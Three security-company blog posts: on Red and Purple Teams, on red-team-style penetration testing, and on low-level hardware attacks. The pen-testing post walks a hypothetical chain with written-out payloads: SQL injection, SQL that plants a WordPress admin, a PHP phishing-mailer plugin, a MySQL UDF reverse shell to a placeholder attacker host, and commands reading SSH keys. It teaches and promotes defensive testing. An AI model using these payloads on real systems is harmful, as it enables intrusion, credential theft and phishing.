Learn the key differences between Red and Purple Teams. Explore their unique roles, strategies, and how they collaborate to strengthen an organization’s defenses against cyber threats.

As cyber threats continue to escalate in complexity and scale, researchers and threat intelligence analysts have become experts in the tactics, techniques, and procedures (TTPs) employed by today’s cybercriminals.

To effectively combat them, they have also learned to think like them.

Purely defensive security measures are no longer adequate in building solid defenses for blocking modern-day threats. Instead, we must combine research, a thorough knowledge of real-world attack techniques, and an attacker’s perspective to conduct realistic risk and security assessments.

Red Team and Purple Teams bridge the gap between offensive and defensive security approaches. These engagements go beyond traditional penetration testing and are crucial for organizations intent on improving their security hygiene and cyberattack readiness.

In this article, we will explore the roles Red Team and Purple Team members play and how they come together to develop resilient security strategies suitable for organizations today.

Enter the Red Team: Ethical, Offensive Security

An organization’s defenders and in-house security staff, known as a Blue Team, are the ones who must remain vigilant against cyberattacks. The Blue Team is tasked with building, strengthening, and repairing the barriers and digital walls protecting an organization’s assets, including intellectual property and data.

But what if there are weaknesses in these walls that they are unaware of, or entry points they can’t see?

Enter the Red Team: a group of ethical hackers tasked who think like genuine intruders. Within in-scope networks and systems, they map, plot, and test pathways that will allow them to avoid existing protective measures to access resources and data, and to move laterally across networks.

Armed with the TTPs of threat actors and expert knowledge of research into threat groups and attack trends, Red Teams conduct engagements to test everything from network endpoints to employee security awareness. With their assessment structured through threat modeling and scope agreements, Red Teams may exploit unpatched vulnerabilities, such as infiltrating a network and performing reconnaissance. Or they might use social engineering or leaked credentials to probe existing access controls – whether physical or digital – to find the same weaknesses cybercriminals are looking for.

Before a campaign begins, Red Teams will plan their engagement based on black-, gray-, or white-box approaches, in which they either will not have any privileged information, some limited information, or full system and security control data, respectively, depending on their clients’ wishes.

The aim of a Red Team isn’t to steal or destroy, but rather to unmask vulnerabilities by probing an organization’s defenses, simulating how real-world attackers may think and act, and to see how defenders, or the Blue Team, respond.

Purple Teams: When Collaboration is Key

The role of the Red Team doesn’t end with an assessment of an organization’s security posture. When a Red Team is hired, it is not a case of pitting adversarial Red Team attackers against a defending Blue Team and seeing who wins the game. It’s not about competition: the goal is collaboration.

Purple Teams are formed of Red Team and Blue Team members. By bringing these team members together, defenders can better understand the attacker’s mindset and real-world risks to the assets they are tasked with protecting.

Purple Team engagements go far, far beyond CVE ratings, patch schedules, and setting up basic access security controls; they allow cybersecurity and IT specialists to determine the right defensive strategies and resource allocations for their organization.

How is a Purple Team Different From a Blue Team?

Blue Teams are in-house specialists who focus on the detection and prevention of cyberattacks. They are responsible for investigating and triaging suspicious activity, including managing many of the security controls they rely on for detection, such as EDR tools, email filters, and intrusion detection systems.

The responsibilities of Purple Teams are more focused, and their activities are based on an attack path developed collaboratively using threat intelligence and knowledge of the existing network and security controls. A Purple Team proactively bridges the gap between offensive and defensive security, bringing Red Team attackers and Blue Team defenders together. They collaborate throughout the engagement to ensure full visibility of the Red Team’s activities throughout each step of the attack kill chain. Steps are repeated as needed to validate whether the Blue Team can prevent, or at the very least, log and detect the actions.

Red Teams ethically attack. Blue Teams detect and defend. Purple Teams, formed out of cooperation and a collaborative mindset, focus on sharing information and expertise to improve the target organization’s security posture.

Purple Teams: Attack and Defense Simulations

Unlike traditional penetration tests, Purple Team exercises build a narrative that combines the information and vulnerability discovery data gathered by the Red Team, with the Blue Team’s understanding of their organization’s existing security controls. 

This narrative may include attack and defense simulations and reproducing the attack paths that the Red Team was able to develop. Furthermore, Purple Team exercises include “assumed breach” scenarios and tabletop exercises designed to highlight the true impact of a breach, as well as the most appropriate ways to combat them.

The Red and Purple Teams comprehensively document their engagements, giving clients an in-depth understanding of their security controls and cyberattack resilience. Each report is driven by research and data, with the attack narrative mapped to MITRE ATT&CK framework.

Red and Purple Teams: Specialized Skill Sets With the Same Objective

As cyberattacks and those performing them are incredibly diverse, organizations benefit the most from Red Team and Purple Team engagements when participating members offer just as much variety in skill and experience. Different backgrounds, knowledge, and training all provide unique perspectives and approaches to vulnerability discovery, problem-solving, and risk.

Red Team members are focused on offensive security and adversarial methods. You will often find that these specialists will hold certifications that include OSCP, GPEN, PenTest+, GXPN, OWSP, and BSCP. Additionally, expect to find expertise in systems administration, coding, incident response, social engineering, and physical access breach methods.

Comparatively, Blue Team members focus on defensive specializations. As such, their range of certifications is more diverse and may include Security+, GSEC, CISSP, GCIH, CSA, CTIA, CySA+, CCSP, and product-specific certifications or training.

How IOActive Can Assist You

By adopting the attacker’s mindset, IOActive’s Red Team specialists go beyond traditional penetration testing services, utilizing modern threat actor techniques to provide clients with a comprehensive overview of real-world risks and attack vectors.

Our work doesn’t stop there. By working collaboratively with Blue Team defenders, Purple Team engagements promote the exchange of knowledge, skills, and perspectives necessary to develop realistic risk assessments and robust security strategies.

With our help, organizations can equip themselves to meet the challenge of modern cyber threats, improving the effectiveness of their security controls, resiliency, and incident response procedures.

Learn more about IOActive’s Red and Purple Team Services.

Are you uncertain on whether you really need a Red Team service? Find out the 5 signs you’re ready for a Red Team engagement.

Penetration tests (“pen tests”) are a key element of every organization’s security process. They provide insights into the security posture of applications, environments, and critical resources. Such testing often follows a well-known process: enumerate the scope, run automated scans, check for common vulnerabilities within the CWE Top 25 or OWASP Top 10, and deliver a templated report. Even though this “checklist” approach can uncover issues, it can lack the depth and creativity needed to emulate a genuine cyber threat scenario. This is where the Red Team mindset comes in.

A Red Team simulates realistic adversaries by using advanced tactics, techniques, and procedures (TTPs). Rather than sticking to a mechanical checklist, Red Teamers think like real attackers, aiming to achieve specific goals, such as data exfiltration, domain takeover, or access to a critical system. This approach doesn’t just identify vulnerabilities, it explores the full path an attacker might take, tying vulnerabilities together until a more damaging outcome is achieved (with frameworks like MITRE ATT&CK). It gives an organization a better understanding of their cybersecurity situation and how seriously an attacker could impact their in-scope assets.

Why Think Like a Red Teamer?

Traditional pen testing often ends the moment a vulnerability like SQL injection (SQLi) is discovered and confirmed. The pen tester lists the SQLi vulnerability in the report, explains its impact, provides a Proof of Concept (POC), and presents remediation tips. A Red Teamer, however, goes further: What can be achieved if I chain that SQLi with something else? Can I steal credentials or extract sensitive data from the database? Could I continue to exploit this to achieve remote code execution (RCE)? If I gain RCE, can I pivot from this compromised server to other internal systems? By tracing the entire “kill chain,” Red Teams uncover critical paths that a real-world attacker would exploit, since the goal is to show the complete impact—and this is just one example.

Checking the boxes for vulnerabilities like cross-site scripting (XSS), insecure direct object references (IDOR), and missing HTTP security headers is still important and relevant in this approach to testing, because it provides a baseline of known issues; however, adding a Red Team-style approach to evaluate how seemingly smaller vulnerabilities might chain together is what ensures a more realistic security assessment. Think of it like a live fire drill: you learn a lot more about your readiness when you run the scenario as if it’s happening in real life, rather than just checking if your fire extinguisher is regularly maintained.

Collaborating with the Client

One key difference between a typical pen test and a Red Team exercise is the level of coordination required. A Red Team engagement typically involves continuous collaboration with the client because certain vulnerabilities might cause system outages or a significant data breach. Some clients may not allow the tester to fully exploit certain vulnerabilities once discovered. For instance, if the pen tester finds a critical bug that could lead to data corruption, the client may prefer not to have their production environment impacted. For these tasks, it is better to use UAT environments that are almost identical to production so that no outages occur.

Some scoping calls and planning might be required to give the client the best possible result. The tester should sit down (virtually or in person) with the client to determine the primary objectives of the exercise. For example, are they primarily concerned about data exfiltration, privilege escalation, or compromise of internal resources? This helps the tester align their goals with the client’s highest priorities. Also, rather than waiting until the end of the engagement to share all findings, Red Teams often disclose highly intrusive tests and high-risk vulnerabilities throughout the process. This allows the client’s security teams to approve the tests and observe how an attacker might operate within their environments.

Technical Depth: From SQLi to Full Compromise

Adopting a Red Team mindset doesn’t mean ignoring standard vulnerability checks—those are still crucial. What changes is how you leverage them. Let’s explore a hypothetical path using MITRE ATT&CK techniques:

1. Discovery

Technique: Exploit Public-facing Application (T1190)

The attacker identifies a parameter in a web application that is vulnerable to SQL injection:

http://vulnerable-website.com/search?query=’ OR 1=1–

Typically, this is where a standard pen testing approach might end: “Parameter X is vulnerable to SQLi. Here’s how to fix it.” However, a red team approach seeks further exploitation paths.

2. Chaining Attacks

i. WordPress-to-Phishing

Techniques: Exploit Public-Facing Application (T1190) & Phishing (T1566.003 – Spearphishing via Service)

Using the SQL injection vulnerability, the attacker enumerates the database and discovers that it is shared with a WordPress installation. With this insight, the attacker injects payloads to create a new administrative user within WordPress:

'; INSERT INTO wp_users (user_login, user_pass, user_email, user_registered, user_status, display_name)

VALUES ('evil_admin', MD5('P@ssw0rd'), 'evil@attacker.com', NOW(), 0, 'evil_admin'); --

'; INSERT INTO wp_usermeta (user_id, meta_key, meta_value)

VALUES ((SELECT ID FROM wp_users WHERE user_login='evil_admin'), 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'); --

After logging in as admin, the attacker discovers a plugin that sends emails using the company’s official address (info@company.com), and uploads a custom plugin to send phishing emails.

For example:

<?php
/*
Plugin Name: Phishing Mailer
Description: Custom plugin to send phishing emails.
Version: 1.0
Author: Attacker
*/
function send_phishing_email() {
    $to = "victim@target.com";
    $subject = "Urgent: Account Verification Needed";
    $message = "Please verify your account at: http://attacker-website.com/phishing";
    $headers = "From: info@company.com";
    wp_mail($to, $subject, $message, $headers);
}
add_action('init', 'send_phishing_email');
?>

When activated, this plugin sends phishing emails appearing to come from the legitimate company address which could give the attacker internal access.

ii. Remote Code Execution

Techniques: Web Shell (T1505.003) & Command and Scripting Interpreter (T1059)

Building on the SQLi foothold, the attacker compiles the UDF payload as a Linux shared object (udf_payload.so) and converts it into a single hex‑encoded string. For demonstration, the command below represents a truncated version of that string:

'; SELECT 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000... 
INTO DUMPFILE '/usr/lib/mysql/plugin/udf_payload.so'; --

With the payload written to disk, the attacker registers a new UDF that executes system commands:

'; DROP FUNCTION IF EXISTS sys_exec;
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf_payload.so'; --

Now the attacker can execute a reverse  shell to their system:

select sys_exec('bash -i >& /dev/tcp/attacker-server-ip/443 0>&1');

3. Privilege Escalation

Technique: Unsecured Credentials (T1552)

Now with remote code execution obtained in the previous step, the attacker searches for higher-privilege credentials. By dumping OS-level credentials and inspecting configuration files, the attacker uncovers sensitive information such as SSH keys or passwords:

# cat /etc/my.conf
# ls -la /users/user/.ssh/

These findings enable further escalation within the compromised environment.

4. Lateral Movement

Technique: Remote Services (T1021)

Using the extracted SSH key, the attacker pivots to an internal backend server:

ssh -i key user@backend-server-ip

Upon accessing the backend server, the attacker discovers that the API source code is stored in a Git repository. By reviewing the repository’s commit history with a tool like TruffleHog, the attacker uncovers additional leaked credentials, expanding their control over the environment:

[/opt/api] # trufflehog .

5. Objective Attainment

This scan reveals previously committed AWS keys, which the attacker then uses to access additional AWS resources and further compromise the target’s infrastructure.

Using these steps, the attacker gains remote code execution access to two servers, control over AWS resources, and an internal foothold with the phishing plugin.

MITRE ATT&CK Mapping Overview

The following table explains how each stage of the attack aligns with specific MITRE ATT&CK techniques. It highlights the tactics, techniques, and procedures (TTPs) leveraged by the attacker to progress from initial discovery to achieving their final objectives

By connecting each vulnerability in a realistic kill chain, clients can clearly see how a single oversight can translate into a major breach. This applies to other types of tests, not just web applications:

• IoT Devices
  IoT devices, such as smart cameras or industrial control sensors, often have default credentials or unencrypted communications. A Red Teamer might discover a way to intercept and tamper with device firmware, leading to data theft or even physical consequences. For instance, obtaining a hardcoded password and accessing other devices over the MQTT broker could allow control of the devices or extraction of sensitive information, such as screenshots from a camera.
• Mobile Apps
  Consider a shopping app where developers left critical business logic in plain sight within the client code, including promotional algorithms and discount threshold checks. A Red Teamer could reverse engineer the APK, analyze function calls, and discover ways to unlock secret promotional rates. By manipulating the client’s code, they could grant themselves unlimited discounts and bypass purchase limits.
• Cloud Environments
  With the growing popularity of AWS, Azure, and GCP, Red Teamers often focus on misconfigurations in IAM policies, exposed S3 buckets, or vulnerable serverless functions. Exploiting these issues can cascade through an entire environment, demonstrating how a single bucket misconfiguration can lead to a breach of confidential data or internal systems.

Benefits to Both Sides

1.) Client Value

• Deeper Insights: The client sees the full potential attack chain, not just a list of vulnerabilities
  
• Tailored Remediations: Knowing exactly how an attacker could pivot and escalate privileges allows for more targeted, effective solutions.
  
• Realistic Training: Security teams get hands-on experience defending against a simulated adversary.

2.) Pen Tester Satisfaction

• Deeper Engagement: Rather than just running a routine checklist, you get to dive deep into a system.
  
• Continuous Learning: You’re more likely to discover new TTPs and refine your tradecraft when you think like an attacker.
  
• Professional Growth: Real-world exploitation scenarios build credibility, demonstrating advanced skill sets to future clients or employers.

Pen Testing Like a Red Teamer vs. a Red Team Exercise

Bringing a Red Team mindset to pen testing can add value, but it’s important to understand that pen testing like a Red Teamer and running a full Red Team operation are two very different things.

A Red Team exercise is a large-scale, long-term simulation of a real-world adversary. It goes beyond just testing technical vulnerabilities—it includes tactics like phishing, physical intrusion, lockpicking, badge cloning, and covert operations to evaluate an organization’s security as a whole. These engagements can span weeks or even months and require detailed planning, stealth, and coordination.

On the other hand, pen testing like a Red Teamer operates within the structured limits of a pen test. It’s more than just running scans or checking boxes—it involves chaining vulnerabilities, escalating privileges, and digging deeper into potential attack paths; however, it does not include elements like social engineering, physical security breaches, or advanced persistent threat (APT) simulations. Once those come into play, the engagement moves into full Red Team territory, which requires more resources, extended timelines, and different contractual agreements.

Final Thoughts

Adopting a Red Team mindset in pen testing elevates the process from just identifying vulnerabilities to understanding their full impact. Instead of just reporting security flaws, you’re simulating how an attacker could exploit them, giving clients a clearer picture of their real-world risks. This benefits everyone—the client gets a richer security assessment, and testers get more engaging, hands-on experience, refining their skills.

That said, a Red Team approach requires trust and clear communication. Before diving in, both the tester and the client need to define the scope, objectives, and acceptable levels of risk. Whether you’re assessing a web application, a mobile platform, or an IoT ecosystem, thinking like a Red Teamer makes your testing more impactful, providing clients with insights they can actually use to strengthen their defenses.

While it’s important to push the boundaries in pen testing and expose realistic attack paths, it’s just as crucial to recognize that true Red Teaming is a different service. It comes with different expectations, methodologies, and permissions. Keeping that distinction clear ensures ethical testing, aligns with client needs, and maximizes value for both offensive and defensive teams.

At the end of the day, the best pen tests don’t just list vulnerabilities—they show how those weaknesses can be exploited to achieve real-world attack objectives. By embracing this mindset, you’ll conduct more meaningful tests, build stronger client relationships, and contribute to a more secure digital world.

Low-level Hardware Attacks: No Longer an Emerging Threat

As organizations have improved their cybersecurity posture, motivated attackers compensate by looking for other attack vectors to continue to achieve their objectives. Efforts to improve system and device security have produced a greater availability and reliance on hardware security features, and as component and device designers continue to innovate with new security features, attackers continue to innovate and share new tools and attack techniques. Increasingly, this means that to provide solid security posture for a component, device, or system, a full-stack perspective on security is mandatory.

More effort from developers is required to understand and increase resistance to low-level hardware attacks, including:

• Manufacturers of typical microchips and embedded devices that require features such as secure boot and resistance to firmware extraction
• Manufacturers of specialty microchips and integrated circuits (ICs) with security features such as secure elements, secure enclaves, encrypted read only memory (ROMs), hardware root of trust, etc.
• Product manufacturers who depend on microchips with key security features as a core control of their overall product or ecosystem security model

Defending against low-level hardware attacks is critical for most every organization today, but the topic remains largely inaccessible to the key stakeholders who can act to improve security posture to better resist and defend against these attacks. To support improved security posture on these critical components, IOActive is making new materials available to the community to aid in understanding the attack vectors and threats.

IOActive is very pleased to announce the release of our eGuide titled “The State of Silicon Chip Hacking,” which is intended to make the very opaque topic of low-level attacks on microchips and ICs more accessible to security team members, business leaders, semiconductor engineers, and even laypersons.

Furthermore, in the coming months, we will publish some original cybersecurity research related to low-level attacks on specialized memory in microchips and integrated circuits (ICs), and formerly proprietary intelligence (PROPINT) about the capabilities of malicious threat actors targeting microchips and ICs.

BACKGROUND

Evolving Security Posture and Attack Vectors

Within the last decade, low-level hardware attacks at the microchip and IC level have become more appealing to attackers as many organizations have become much better at the fundamentals of cybersecurity that include cyber hygiene, vulnerability management, secure development,[1][2][3] and the many other components in a modern cybersecurity program or framework such as NIST’s CSF. As organizations became more mature in their cybersecurity capabilities, including sophisticated response and threat hunting capabilities offered for their traditional information technology (IT) and operational technology (OT) environments either by an internal security operation center (SOC) or a trusted third-party service provider, threat actors have shifted their focus to other areas of opportunity where less defensive effort had been expended to date, such as supply chain[4][5] and hardware attack vectors.

A recent example of this is the high-impact supply chain attack by Salt Typhoon, a People’s Republic of China (PRC) Ministry of State Security (MSS) affiliated threat actor. This attacker compromised the major U.S. mobile network operators to enable espionage and counterintelligence operations, hyper-targeted cyber operations against high value targets, and the circumvention of the ridiculously weak short message system (SMS) multi-factor authentication (MFA) implementations used far too frequently today.

The more secure an organization itself, the more attractive that organization’s upstream supply chain becomes as an attack vector to a dedicated attacker. A sophisticated threat actor seeks the easiest and least attributable pathway into a target; today the path of least resistance and risk for an attacker is often one of the target’s Tier 1 or Tier 2 suppliers who have an exploitable vulnerability that can provide full access into the target’s network. Other times, the actor has chosen an attack vector of a software library or hardware component. For example, we have recently seen an attacker attempt to compromise the XZ Utils compression library in an effort to subvert the effectiveness of OpenSSH.[6][7]

Greater Reliance on Hardware Security

One outcome of these efforts to improve security is a greater reliance on hardware components and devices to improve the overall system’s security, especially when an attacker has physical access through the protection of key data such as cryptographic keys, whose compromise would result in the compromise of the device or all devices. Key hardware technologies and implementations such as secure boot (e.g., UEFI), trusted execution environments (TEEs), and hardware roots of trust have been created and refined to reduce the likelihood of a software compromise. Many of these key hardware security measures are standardized for the industry or a manufacturer to reuse on multiple products and devices. Perhaps most attractive to device developers, these components are frequently integrated into system-on-a-chip (SOC) components that provide a broad set of features, including hardware security capabilities, into a single package.

This greater availability, utilization, and criticality of hardware security has pushed threat actors to develop new tooling, tactics, techniques, and procedures to achieve their operational or strategic objectives.

Full-stack Perspective

Today’s sophisticated threat actors are capable of successfully attacking at any level of the technology and operational stack including hardware, software, people, processes, and the supply chain. This necessitates much more thoughtful risk management and defense. Moreover, the advanced, low-level hardware attack techniques outlined in our eGuide have become much more democratized and accessible to many of today’s threat actors. There is no expectation that this trend will abate. A successful, low-level hardware attack can compromise an entire organization, its customers, and even its suppliers.

Globalization Consequences

With the admission of the PRC to the World Trade Organization (WTO) in December 2001, the world experienced an extremely rapid period of globalization, which transformed the global economy and its supply chains. This supply chain globalization has actually made our supply chains longer, more geographically dispersed, much more complex and less resilient. Today, a product may have to go through multiple countries and hundreds of suppliers before it’s complete, offering more opportunities for things to go wrong from a supply chain risk perspective, whether accidental or intentional. Within the last several years we have seen numerous high-impact supply chain disruptions.

The 2020 pandemic painfully illustrated the vulnerabilities of the global supply chain to disruption from a virus and the associated government response. Significant microchip shortages beginning in 2021 deeply impacted the automotive industry on a global basis with an estimated impact of a more than 10% reduction in global light-vehicle production in 2021. In March 2021, the container ship Ever Given was grounded in the Suez Canal, causing significant disruptions to shipping and canal transits. In late 2023, we saw huge disruptions to the transit of the Red Sea and Suez Canal, which forms a key link between Asia and Europe, from kinetic attacks by the Houthis, an Iranian proxy group based in Yemen. Arguably, the consequences of the Ever Given incident gave the Houthi strategists a model with which to understand the consequences of severing the link between Europe and the Indo-Pacific through piracy and kinetic strikes.

Perhaps most concerning is the fact that these long, complex supply chains frequently have key nodes in locations under the control of unfriendly, malign,  or adversarial countries who are seeking to penetrate, compromise, and hold at risk critical infrastructure and information of their perceived adversaries.

THREATSCAPE: INCREASING RISKS

The confluence of the above trends has created significantly greater risks that as previously favored attack vectors become more challenging, costly, or attributable, organizations almost certainly will be targeted through low-level hardware attacks. There are many more threat actors today capable of launching low-level hardware attacks. The nature of the global semiconductor supply chain gives the most motivated and well-funded threat actors excellent opportunities to compromise microchips, ICs, and digital devices before they make it to the end user. Increasingly, these threat actors will require low-level hardware attack techniques to continue to meet their operational and strategic objectives.

To support improved security posture on these critical components, we are making new materials available to the community to aid in understanding the attack vectors and threats.

Upcoming Research Publications

In the coming months, we will publish some original cybersecurity research related to low-level attacks on specialized memory in microchips and ICs after completion of our responsible disclosure process. In addition, we will publish some previous work we had performed by a third party to help us assess and develop PROPINT about the capabilities of malicious threat actors to reverse engineer microchips and ICs for the purpose of intellectual property theft.

The State of Silicon Chip Hacking

IOActive is pleased to announce the release of eGuide titled “The State of Silicon Chip Hacking,” which is intended to make the very opaque topic of low-level attacks on microchips and ICs more accessible to security team members, business leaders, semiconductor engineers, and even laypersons. This eGuide is meant to be clear, concise, and accessible to anyone interested in the topic of low-level hardware attacks with an emphasis on invasive attacks using specialized equipment. To increase the accessibility of the eGuide to all readers, we made an effort to include high quality graphics to illustrate the key concepts related to these attacks.

[1] https://www.sei.cmu.edu/our-work/secure-development/

[2] https://www.microsoft.com/en-us/securityengineering/sdl/practices

[3] https://www.ncsc.gov.uk/collection/developers-collection/principles

[4] https://www.ncsc.gov.uk/collection/supply-chain-security/supply-chain-attack-examples

[5] https://github.com/cncf/tag-security/blob/main/supply-chain-security/compromises/README.md

[6] https://www.darkreading.com/cyber-risk/xz-utils-backdoor-implanted-in-intricate-multi-year-supply-chain-attack

[7] https://nvd.nist.gov/vuln/detail/CVE-2024-3094